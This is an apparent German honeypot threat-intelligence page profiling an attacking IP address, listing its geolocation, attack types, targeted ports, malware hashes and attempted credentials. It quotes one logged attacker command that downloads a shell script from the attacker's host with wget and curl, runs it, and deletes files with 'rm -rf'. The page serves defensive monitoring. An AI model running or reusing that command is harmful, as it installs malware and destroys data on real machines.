TROYANOSYVIRUS
Aktive Bedrohung • MITTEL

176.65.139.177

Herkunftsland🇱🇺 LU
Erste Erkennung25.4.2026
Letzte Aktivitat29.4.2026
ISPOffshore LC
🎯
42
Gesamtangriffe
🔌
5
Ports
📡
4
Angriffsarten
🦠
2
Malware

Geolokalisierung

Land
🇱🇺 LU
Stadt
Unbekannt
ASN
AS214472
ISP
Offshore LC

Angriffsarten

ssh_telnet_honeypot
malware_capture
web_honeypot
tcp_trap

Angegriffene Ports

22808160008088

Zugehorige Malware

4cd465ecc8e602257910...→b67c0b14ea76cb5d5e4c...→

Versuchte Anmeldedaten

🔐root/admin
1x

Ausgefuhrte Befehle

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.139.177/cat.sh; curl -O http://176.65.139.177/cat.sh; chmod 777 cat.sh; sh cat.sh; rm -rf cat.sh; rm -rf *1x

Shodan InternetDB ExpositionShodan

InternetDB-Daten, nicht in Echtzeit

Risikobewertung

52
/100
NiedrigMittelHochKritisch